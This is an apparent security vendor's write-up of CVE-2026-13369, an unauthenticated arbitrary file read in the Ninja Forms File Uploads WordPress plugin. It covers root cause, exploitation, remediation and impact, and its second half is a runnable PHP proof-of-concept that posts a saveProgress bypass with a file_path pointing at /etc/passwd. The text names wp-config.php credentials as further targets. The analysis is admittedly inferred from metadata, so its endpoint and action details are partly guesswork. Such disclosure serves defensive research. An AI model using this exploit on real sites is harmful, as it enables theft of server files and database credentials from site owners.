Atomic Edge analysis of CVE-2026-13369 (metadata-based):
This vulnerability allows unauthenticated attackers to read arbitrary files on a WordPress site running Ninja Forms – File Uploads version 3.3.29 or earlier. The flaw exists in the file upload field’s attachment handling. An attacker can bypass all validation by setting a client-supplied ‘saveProgress’ flag, causing the process() method to return early and allowing a crafted ‘files[].data.file_path’ parameter to reach the wp_mail() function as an email attachment.
The root cause is a path traversal vulnerability (CWE-22) in the get_files_for_attachment() function. Based on the description, the plugin fails to validate the file_path value when the form processes with saveProgress enabled. The code path skips file upload validation, path normalization, and database record creation. Only a file_exists() check is performed before passing the path to wp_mail(). This means that an attacker can supply any readable file path on the server. Atomic Edge analysis infers that the vulnerable function accepts a raw ‘files’ array from the HTTP request without proper sanitization. This conclusion is based on the CWE classification and the detailed description, as source code is unavailable.
For exploitation, an attacker would submit a standard Ninja Forms upload form but include a ‘saveProgress’ parameter set to ‘1’ or ‘true’. The attack targets the AJAX handler responsible for file upload processing, typically /wp-admin/admin-ajax.php with an action parameter like ‘ninja_forms_upload’. The attacker sends the ‘files[0][data][file_path]’ parameter containing a path traversal string, such as ‘../../../../etc/passwd’. The plugin then attaches that file to an email sent via wp_mail(), which could be sent to the attacker if they control the form’s email recipient or the email is sent to the site administrator with predictable content. The attacker can also read any WordPress configuration file, including wp-config.php which contains database credentials.
Remediation requires implementing proper path validation and sanitization for the file_path input. The patched version (3.3.30) must ensure that all file paths are normalized, validated against an allowed base directory, and that no traversal sequences escape the intended upload directory. The fix should also ensure that the file processing logic for attachment does not accept arbitrary file paths when saveProgress is enabled. All file paths must be resolved to their absolute canonical form and compared against a whitelist of allowed directories.
The impact is severe. An unauthenticated attacker can read sensitive files on the server, including WordPress configuration files (wp-config.php), database credentials, SSL certificates, log files, and any file readable by the web server user. This is a confidentiality breach with high impact (CVSS 7.5, High severity). Since no authentication is required and the attack complexity is low, this vulnerability poses a significant risk to any site using the vulnerable plugin.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-13369 - Ninja Forms - File Uploads <= 3.3.29 - Unauthenticated Arbitrary File Read via File Upload Field 'files[].data.file_path' Parameter
// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$file_to_read = '/etc/passwd'; // The file you want to read (path traversal to sensitive file)
// The AJAX action for Ninja Forms file upload processing
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// Create the payload with saveProgress flag to bypass validation
$post_data = array(
'action' => 'ninja_forms_upload', // Inferred AJAX action for file upload processing
'saveProgress' => '1', // Triggers early return in process() method
'form_id' => '1', // Any valid form ID with a file upload field
'files[0][data][file_path]' => $file_to_read, // Path traversal to target file
'files[0][data][file_name]' => 'test.txt', // Original filename for the attachment
'files[0][data][file_type]' => 'text/plain' // MIME type
);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for local testing
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output results
echo "[+] Target: $target_urln";
echo "[+] Attempting to read: $file_to_readn";
echo "[+] HTTP Response Code: $http_coden";
if ($http_code == 200) {
echo "[+] Request sent successfully. Check email inbox for attachment containing the file content.n";
echo "[+] If the form sends email to an attacker-controlled address, the file will be attached.n";
} else {
echo "[-] Request failed. The target may be patched or the form ID is invalid.n";
}
echo "[+] Note: This PoC assumes the form sends email to a recipient. You may need to adjust form_id and recipient settings in a real attack scenario.n";
?>
